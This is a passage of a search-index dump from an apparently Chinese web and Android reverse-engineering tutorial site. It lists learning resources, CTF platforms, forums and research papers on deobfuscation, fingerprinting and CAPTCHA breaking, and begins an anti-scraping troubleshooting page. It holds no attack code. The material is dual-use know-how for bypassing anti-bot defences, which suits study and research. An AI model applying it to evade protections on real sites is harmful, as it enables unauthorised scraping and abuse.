+ dump 无需分析解密逻辑 栈构造字符串 IDA 手动分析 / FLOSS 需识别指令模式 复杂自定义算法 Frida 动态 Hook 无需理解算法 有反调试保护 Unicorn 模拟执行 脱离 App 环境 未知混淆方案 先 Frida 采样再静态分析 先确认类型再选工具 实践建议：真实项目中往往需要组合多种方法。先用 Frida 快速采样确认混淆类型，再用 IDAPython 或 Unidbg 批量解密，最后用 Frida 验证结果完整性。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:10:6","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#106-方法选择指南"},{"categories":null,"collections":null,"content":"学习资源 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:0:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#学习资源"},{"categories":null,"collections":null,"content":"概述 本章汇总了 Web 逆向工程领域的优质学习资源，包括书籍、课程、博客、视频、练习平台等，帮助你系统化学习并不断提升技能。 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:1:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#概述"},{"categories":null,"collections":null,"content":"书籍推荐 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:2:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#书籍推荐"},{"categories":null,"collections":null,"content":"Web 开发与 JavaScript 书名 作者 难度 推荐指数 主要内容 适合人群 JavaScript 高级程序设计（第 4 版） Matt Frisbie ⭐⭐⭐ ⭐⭐⭐⭐⭐ • JavaScript 核心语法 • DOM 操作 • BOM 对象 • 异步编程 • 面向对象编程 前端基础入门 你不知道的 JavaScript（上、中、下卷） Kyle Simpson ⭐⭐⭐⭐ ⭐⭐⭐⭐⭐ • 作用域与闭包 • this 与对象原型 • 类型与语法 • 异步与性能 • ES6 及更新特性 JavaScript 进阶学习 JavaScript 忍者秘籍（第 2 版） John Resig（jQuery 作者） ⭐⭐⭐⭐ ⭐⭐⭐⭐ • 函数式编程 • 闭包与作用域 • 原型与继承 • 正则表达式 JavaScript 深入理解 在线资源: 《你不知道的 JavaScript》在线版: https://github.com/getify/You-Dont-Know-JS ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:2:1","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#web-开发与-javascript"},{"categories":null,"collections":null,"content":"HTTP 与网络协议 书名 作者 难度 推荐指数 主要内容 适合人群 图解 HTTP 上野宣 ⭐⭐ ⭐⭐⭐⭐⭐ • HTTP 协议基础 • 请求与响应 • HTTP 方法 • 状态码 • HTTPS 与 SSL/TLS 网络协议入门 HTTP 权威指南 David Gourley, Brian Totty ⭐⭐⭐ ⭐⭐⭐⭐ • HTTP 完整规范 • 缓存机制 • 代理与网关 • Web 安全 HTTP 深入学习 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:2:2","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#http-与网络协议"},{"categories":null,"collections":null,"content":"逆向工程与安全 书名 作者 难度 推荐指数 主要内容 适合人群 Web 安全深度剖析 张炳帅 ⭐⭐⭐⭐ ⭐⭐⭐⭐ • XSS/CSRF/SQL 注入 • 加密与认证 • 代码混淆 • 反爬虫技术 Web 安全入门 白帽子讲 Web 安全 吴翰清 ⭐⭐⭐ ⭐⭐⭐⭐⭐ • 常见 Web 漏洞 • 安全防护 • 渗透测试 • 应用安全 Web 安全基础 加密与解密（第 4 版） 段钢 ⭐⭐⭐⭐⭐ ⭐⭐⭐⭐ • 逆向工程基础 • 加密算法 • 代码保护 • 反调试技术 逆向工程进阶 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:2:3","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#逆向工程与安全"},{"categories":null,"collections":null,"content":"Python 爬虫 书名 作者 难度 推荐指数 主要内容 适合人群 Python 网络爬虫权威指南 Ryan Mitchell ⭐⭐⭐ ⭐⭐⭐⭐ • 爬虫基础 • BeautifulSoup/Scrapy • JavaScript 渲染 • 反爬虫对抗 Python 爬虫入门 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:2:4","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#python-爬虫"},{"categories":null,"collections":null,"content":"在线课程 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:3:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#在线课程"},{"categories":null,"collections":null,"content":"综合平台 平台 网址 推荐课程 特点 价格 Udemy https://www.udemy.com/ • The Complete Web Developer Course • JavaScript: Understanding the Weird Parts • Web Scraping with Python • 经常打折（10-20 美元） • 终身访问 • 中英文字幕 $10-20（打折时） Coursera https://www.coursera.org/ • Web Design for Everybody (密歇根大学) • CS50’s Web Programming (哈佛大学) • 顶尖大学课程 • 认证证书 • 部分课程免费旁听 免费旁听 / $49/月 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:3:1","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#综合平台"},{"categories":null,"collections":null,"content":"中文平台 平台 网址 推荐课程/专栏 特点 慕课网 https://www.imooc.com/ • 前端 JavaScript 进阶 • Python 爬虫工程师 • Web 安全工程师 实战项目导向 极客时间 https://time.geekbang.org/ • 浏览器工作原理与实践 • JavaScript 核心原理解析 • 网络协议攻略 深度技术文章 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:3:2","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#中文平台"},{"categories":null,"collections":null,"content":"博客与文章 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:4:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#博客与文章"},{"categories":null,"collections":null,"content":"技术博客 博客名称 网址 主要内容 特点 吾爱破解论坛 https://www.52pojie.cn/ 逆向工程、软件破解、反混淆技术 中文社区、实战案例丰富 看雪论坛 https://bbs.kanxue.com/ 二进制逆向、加密算法、安全研究 专业深度、高质量讨论 先知社区 https://xz.aliyun.com/ Web 安全、渗透测试、漏洞分析 阿里云官方、安全资讯 美团技术团队 https://tech.meituan.com/ 前端安全系列、JavaScript 性能优化 大厂实战经验 阮一峰的网络日志 https://www.ruanyifeng.com/blog/ JavaScript 教程、ES6 入门、HTTP 协议 通俗易懂、定期更新 张鑫旭的博客 https://www.zhangxinxu.com/ CSS、JavaScript、Web 前端 深度原创、实用技巧 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:4:1","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#技术博客"},{"categories":null,"collections":null,"content":"国外优质博客 博客名称 网址 主要内容 特点 Martin Fowler https://martinfowler.com/ 软件架构、设计模式 行业权威 CSS-Tricks https://css-tricks.com/ 前端开发技巧 实用教程 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:4:2","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#国外优质博客"},{"categories":null,"collections":null,"content":"视频教程 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:5:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#视频教程"},{"categories":null,"collections":null,"content":"YouTube 频道 频道名称 网址 主要内容 特点 Traversy Media https://www.youtube.com/@TraversyMedia Web 开发、JavaScript、Python 实战项目、初学者友好 The Net Ninja https://www.youtube.com/@NetNinja 前端框架、Node.js、数据库 系列教程、循序渐进 John Hammond https://www.youtube.com/@_JohnHammond CTF、逆向工程、网络安全 CTF 题解、实战演示 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:5:1","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#youtube-频道"},{"categories":null,"collections":null,"content":"中文视频（B 站） UP 主 主要内容 特点 尚硅谷 前端/后端系统课程 完整课程体系 coderwhy 前端进阶教程 Vue/React 深度讲解 技术蛋老师 爬虫与逆向 实战导向 崔庆才丨静觅 Python 爬虫专家 爬虫全栈教程 特点: 免费高质量、弹幕互动 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:5:2","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#中文视频b-站"},{"categories":null,"collections":null,"content":"练习平台 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:6:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#练习平台"},{"categories":null,"collections":null,"content":"CTF 平台 平台名称 网址 主要内容 难度 特点 BUUCTF https://buuoj.cn/ Web、逆向、PWN、密码学 ⭐⭐ 中文界面、题目丰富、适合新手 CTFHub https://www.ctfhub.com/ Web 安全技能树 ⭐⭐⭐ 系统化学习路径 picoCTF https://picoctf.org/ 面向初学者的 CTF ⭐⭐ 教育导向、逐步提升 Hack The Box https://www.hackthebox.com/ 渗透测试、逆向工程 ⭐⭐⭐⭐ 真实环境、国际知名 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:6:1","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#ctf-平台"},{"categories":null,"collections":null,"content":"JavaScript 练习 平台名称 网址 主要内容 特点 JavaScript30 https://javascript30.com/ 30 个纯 JavaScript 项目 免费、无框架、实战导向 Codewars https://www.codewars.com/ 算法题库（多语言） 游戏化、社区讨论 LeetCode https://leetcode.com/ 算法与数据结构 面试必备、中英文版本 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:6:2","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#javascript-练习"},{"categories":null,"collections":null,"content":"爬虫实战 资源名称 网址 内容 特点 Scrapy 官方教程 https://docs.scrapy.org/en/latest/intro/tutorial.html Scrapy 框架使用 官方文档、示例完整 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:6:3","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#爬虫实战"},{"categories":null,"collections":null,"content":"学术论文 (arXiv) Web 逆向工程领域的前沿学术研究，涵盖反混淆、指纹识别、验证码、WebAssembly 等核心主题。 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:7:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#学术论文-arxiv"},{"categories":null,"collections":null,"content":"JavaScript 反混淆 论文标题 arXiv ID 年份 主要贡献 CASCADE: LLM-Powered JavaScript Deobfuscator at Google 2507.17691 2025 Google 生产环境部署的 LLM + 编译器混合反混淆方案，结合 Gemini 与 JSIR 实现可靠的语义恢复 JsDeObsBench: Measuring and Benchmarking LLMs for JavaScript Deobfuscation 2506.20170 2025 首个 JavaScript 反混淆 LLM 基准测试，评估 GPT-4o、CodeLlama 等 6 种模型，CCS'25 论文 Assessing LLMs in Malicious Code Deobfuscation of Real-world Malware Campaigns 2404.19715 2024 评估 LLM 在恶意代码（VBA、PHP、Python、JS）反混淆中的能力 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:7:1","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#javascript-反混淆"},{"categories":null,"collections":null,"content":"浏览器指纹 论文标题 arXiv ID 年份 主要贡献 The WASM Cloak: Evaluating Browser Fingerprinting Defenses Under WebAssembly based Obfuscation 2508.21219 2025 首次系统评估 WASM 对指纹防护的影响，证明 WASM 可绕过 CanvasBlocker 等防护 Byte by Byte: Unmasking Browser Fingerprinting at the Function Level Using V8 Bytecode Transformers 2509.09950 2025 利用 V8 字节码在函数级别检测指纹操作，抗混淆能力强 Browser Fingerprint Detection and Anti-Tracking 2502.14326 2025 开发 Chrome 扩展抵抗浏览器指纹追踪 Beyond the Crawl: Unmasking Browser Fingerprinting in Real User Interactions 2502.01608 2025 真实用户浏览场景下的指纹普遍性研究（10 周、30 参与者、3000 网站） FP-Inconsistent: Measurement and Analysis of Fingerprint Inconsistencies in Evasive Bot Traffic 2406.07647 2024 首个大规模评估机器人指纹伪造效果，提出检测规则降低 48% 逃逸率 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:7:2","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#浏览器指纹"},{"categories":null,"collections":null,"content":"验证码研究 论文标题 arXiv ID 年份 主要贡献 Breaking reCAPTCHAv2 2409.08831 2024 使用 YOLO 模型实现 100% reCAPTCHAv2 破解率（前人仅 68-71%） Oedipus: LLM-enhanced Reasoning CAPTCHA Solver 2405.07496 2024 多模态 LLM 破解推理验证码的端到端框架 A Hybrid CAPTCHA Combining Generative AI with Keystroke Dynamics for Enhanced Bot Detection 2510.02374 2025 结合 LLM 生成问题与击键动力学，100% 机器人检测率 BounTCHA: A CAPTCHA Utilizing Boundary Identification in Guided Generative AI-extended Videos 2501.18565 2025 基于 AI 生成视频边界识别的新型验证码 An Empirical Study \u0026 Evaluation of Modern CAPTCHAs 2307.12108 2023 1400 参与者解决 14000 个验证码的大规模用户研究 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:7:3","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#验证码研究"},{"categories":null,"collections":null,"content":"WebAssembly 安全与逆向 论文标题 arXiv ID 年份 主要贡献 Multi-modal Learning for WebAssembly Reverse Engineering 2404.03171 2024 多模态预训练模型，支持类型恢复、函数识别、代码摘要，ISSTA'24 论文 WaDec: Decompiling WebAssembly Using Large Language Model 2406.11346 2024 使用代码 LLM 实现源码级 Wasm 反编译 WebAssembly and Security: A Review 2407.12297 2024 Wasm 安全综述，指出大量野外 Wasm 被混淆，需加强逆向研究 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:7:4","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#webassembly-安全与逆向"},{"categories":null,"collections":null,"content":"Web 安全检测 论文标题 arXiv ID 年份 主要贡献 Leveraging LLM to Strengthen ML-Based Cross-Site Scripting Detection 2504.21045 2025 LLM 生成混淆 XSS 样本增强训练，检测准确率 99.5% XSS Adversarial Attacks Based on Deep Reinforcement Learning: A Replication and Extension Study 2502.19095 2025 深度强化学习生成对抗 XSS，逃逸率 96% 以上 algoXSSF: Detection and analysis of cross-site request forgery (XSRF) and cross-site scripting (XSS) attacks via Machine learning algorithms 2402.01012 2024 机器学习算法检测 XSS 和 CSRF 攻击的框架 Machine Learning for Detection and Mitigation of Web Vulnerabilities and Web Attacks 2304.14451 2023 Web 漏洞检测的机器学习方法综述 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:7:5","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#web-安全检测"},{"categories":null,"collections":null,"content":"爬虫与反爬虫 论文标题 arXiv ID 年份 主要贡献 Scrapers selectively respect robots.txt directives: evidence from a large-scale empirical study 2505.21733 2025 首个大规模 robots.txt 合规性研究，发现 AI 爬虫很少检查 robots.txt，IMC'25 论文 Somesite I Used To Crawl: Awareness, Agency and Efficacy in Protecting Content Creators From AI Crawlers 2411.15091 2024 分析 AI 数据爬虫占网站 70% 流量，评估 Cloudflare AI Bot 拦截效果 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:7:6","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#爬虫与反爬虫"},{"categories":null,"collections":null,"content":"TLS 指纹 论文标题 arXiv ID 年份 主要贡献 Positional-Unigram Byte Models for Generalized TLS Fingerprinting 2405.07848 2024 数据驱动的 TLS 指纹方法，抗密码套件随机化 Fingerprinting Deep Packet Inspection Devices by Their Ambiguities 2509.09081 2025 利用 DPI 歧义进行指纹识别，86%+ 逃逸策略跨设备失效 Active TLS Stack Fingerprinting: Characterizing TLS Server Deployments at Scale 2206.13230 2022 主动测量 TLS 指纹方法，精度 99%+，覆盖 2800 万服务器 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:7:7","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#tls-指纹"},{"categories":null,"collections":null,"content":"论文检索建议 关键词 搜索平台 说明 javascript deobfuscation arXiv cs.CR/cs.SE 反混淆技术 browser fingerprinting arXiv cs.CR 浏览器指纹 CAPTCHA bypass arXiv cs.CR/cs.CV 验证码破解 WebAssembly security arXiv cs.CR/cs.SE Wasm 安全 bot detection evasion arXiv cs.CR/cs.NI 机器人检测 TLS fingerprinting arXiv cs.CR/cs.NI TLS 指纹 推荐订阅: arXiv cs.CR (Cryptography and Security): https://arxiv.org/list/cs.CR/recent arXiv cs.SE (Software Engineering): https://arxiv.org/list/cs.SE/recent ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:7:8","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#论文检索建议"},{"categories":null,"collections":null,"content":"工具文档 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:8:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#工具文档"},{"categories":null,"collections":null,"content":"浏览器自动化 工具 官方文档 特点 Puppeteer https://pptr.dev/ API 完整、示例丰富 Playwright https://playwright.dev/ 跨浏览器、文档详细 Selenium https://www.selenium.dev/documentation/ 多语言支持 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:8:1","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#浏览器自动化"},{"categories":null,"collections":null,"content":"抓包工具 工具 官方文档 特点 mitmproxy https://docs.mitmproxy.org/ 详细教程、脚本示例 Burp Suite 学院 https://portswigger.net/web-security 权威专业、互动实验 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:8:2","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#抓包工具"},{"categories":null,"collections":null,"content":"社区与论坛 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:9:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#社区与论坛"},{"categories":null,"collections":null,"content":"国内社区 社区名称 网址 主要标签/节点 特点 掘金 https://juejin.cn/ JavaScript、前端、爬虫 高质量技术文章 SegmentFault https://segmentfault.com/ 技术问答 问答社区、技术分享 V2EX https://www.v2ex.com/ /go/programmer 技术交流、行业讨论 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:9:1","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#国内社区"},{"categories":null,"collections":null,"content":"国外社区 社区名称 网址/板块 主要内容 特点 Stack Overflow https://stackoverflow.com/ web-scraping, javascript, reverse-engineering 全球最大技术问答 Reddit • r/webscraping • r/javascript • r/ReverseEngineering • r/netsec Web 爬虫、JavaScript、逆向、安全 讨论活跃、资源分享 GitHub Discussions puppeteer/puppeteer scrapy/scrapy babel/babel 项目讨论 官方社区、技术交流 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:9:2","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#国外社区"},{"categories":null,"collections":null,"content":"学习路线建议 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:10:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#学习路线建议"},{"categories":null,"collections":null,"content":"阶段一：基础夯实（1-2 个月） 目标 学习内容 实战项目 掌握 Web 基础和开发者工具 1. HTTP 协议: 《图解 HTTP》 2. JavaScript 基础: 《JavaScript 高级程序设计》前 10 章 3. 开发者工具: Chrome DevTools 官方文档 4. HTML/CSS: MDN Web Docs • 用 Chrome DevTools 分析 10 个不同网站的请求 • 完成 JavaScript30 的前 10 个项目 • 手写简单的表单验证和 AJAX 请求 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:10:1","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#阶段一基础夯实1-2-个月"},{"categories":null,"collections":null,"content":"阶段二：工具掌握（1-2 个月） 目标 学习内容 实战项目 熟练使用自动化工具和抓包工具 1. Puppeteer: 官方文档 + 实战案例 2. 抓包工具: Burp Suite 或 Charles 3. Python 基础: 廖雪峰 Python 教程 4. 正则表达式: 在线练习（regex101.com） • 用 Puppeteer 爬取 3 个动态网站 • 用 Burp Suite 分析移动 APP 接口 • 写一个自动登录脚本（带验证码识别） ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:10:2","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#阶段二工具掌握1-2-个月"},{"categories":null,"collections":null,"content":"阶段三：逆向技术（2-3 个月） 目标 学习内容 实战项目 理解加密、混淆、反调试技术 1. JavaScript 进阶: 《你不知道的 JavaScript》 2. 加密算法: crypto-js 文档 + CyberChef 实践 3. AST 解析: Babel 插件开发教程 4. 反混淆: webcrack、de4js 工具使用 • 分析 5 个网站的加密参数（sign、token） • 用 Babel 写一个简单的反混淆脚本 • 破解一个简单的 JavaScript 混淆 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:10:3","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#阶段三逆向技术2-3-个月"},{"categories":null,"collections":null,"content":"阶段四：综合实战（持续） 目标 学习内容 实战项目 解决真实世界的复杂案例 1. 高级反爬虫: TLS 指纹、Canvas 指纹、设备指纹 2. 协议逆向: WebSocket、gRPC、Protobuf 3. WebAssembly: wabt 工具链、逆向分析 4. 移动端: Frida Hook、APP 脱壳 • 参加 CTF 比赛（Web 方向） • 逆向一个 Webpack 打包的 SPA 应用 • 分析一个使用 WebAssembly 的网站 • 完成吾爱破解论坛的逆向题目 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:10:4","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#阶段四综合实战持续"},{"categories":null,"collections":null,"content":"学习技巧 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:11:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#学习技巧"},{"categories":null,"collections":null,"content":"高效学习方法 方法 说明 以项目为驱动 边学边做，不要只看不练 主动调试 多用断点，少猜测 记录笔记 整理常见套路和技巧 分享交流 写博客、参与讨论 定期复习 温故知新，巩固知识 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:11:1","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#高效学习方法"},{"categories":null,"collections":null,"content":"常见误区 误区 说明 ❌ 只看教程不动手 看懂 ≠ 会做 ❌ 追求工具而非原理 工具会过时，原理不会 ❌ 完美主义 不需要 100% 还原代码，理解核心逻辑即可 ❌ 孤立学习 多与社区交流，避免闭门造车 ❌ 忽视基础 HTTP、JavaScript 基础是一切的根基 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:11:2","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#常见误区"},{"categories":null,"collections":null,"content":"时间管理 每日学习计划示例: 时间段 学习内容 09:00-10:00 阅读理论知识（书籍/文章） 10:00-12:00 实战练习（写代码/做题） 14:00-16:00 项目实践 16:00-17:00 复盘总结（写笔记/博客） 每周目标: ✅ 完成 1-2 个小项目 ✅ 阅读 3-5 篇技术文章 ✅ 解决 5-10 道练习题 ✅ 写 1 篇学习笔记 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:11:3","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#时间管理"},{"categories":null,"collections":null,"content":"保持更新 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:12:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#保持更新"},{"categories":null,"collections":null,"content":"技术资讯 更新频率 推荐资源 链接 每日必看 Hacker News https://news.ycombinator.com/ 每日必看 GitHub Trending https://github.com/trending 每周推荐 JavaScript Weekly https://javascriptweekly.com/ 每周推荐 Web Tools Weekly https://webtoolsweekly.com/ 每月关注 MDN Web Docs 更新日志 - 每月关注 Chrome/Firefox 新版本特性 - ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:12:1","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#技术资讯"},{"categories":null,"collections":null,"content":"跟进技术趋势 关注点 示例 关注新工具 Bun、Deno、Fresh 等 学习新标准 ES2024、HTTP/3 了解新技术 AI 辅助逆向、自动化测试 订阅博客 RSS 订阅喜欢的技术博客 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:12:2","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#跟进技术趋势"},{"categories":null,"collections":null,"content":"相关章节 开源项目推荐 常见问题 FAQ 逆向工程工作流 浏览器开发者工具 ","date":"2024-11-30","objectID":"/reverse_engineering/web/11-resources/learning_resources/:13:0","tags":["Web","RSA","WebAssembly","加密分析","Hook","反混淆"],"title":"学习资源","uri":"/reverse_engineering/web/11-resources/learning_resources/#相关章节"},{"categories":null,"collections":null,"content":"反爬虫问题 应对各种反爬虫机制的常见问题和解决方案。 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:0:0","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#反爬虫问题"},{"categories":null,"collections":null,"content":"403 Forbidden ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:1:0","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#403-forbidden"},{"categories":null,"collections":null,"content":"问题表现 HTTP 403 Forbidden Access Denied ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:1:1","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#问题表现"},{"categories":null,"collections":null,"content":"原因分析 User-Agent 被检测 Referer 验证失败 IP 被封禁 缺少必要的 Headers JavaScript 挑战未通过 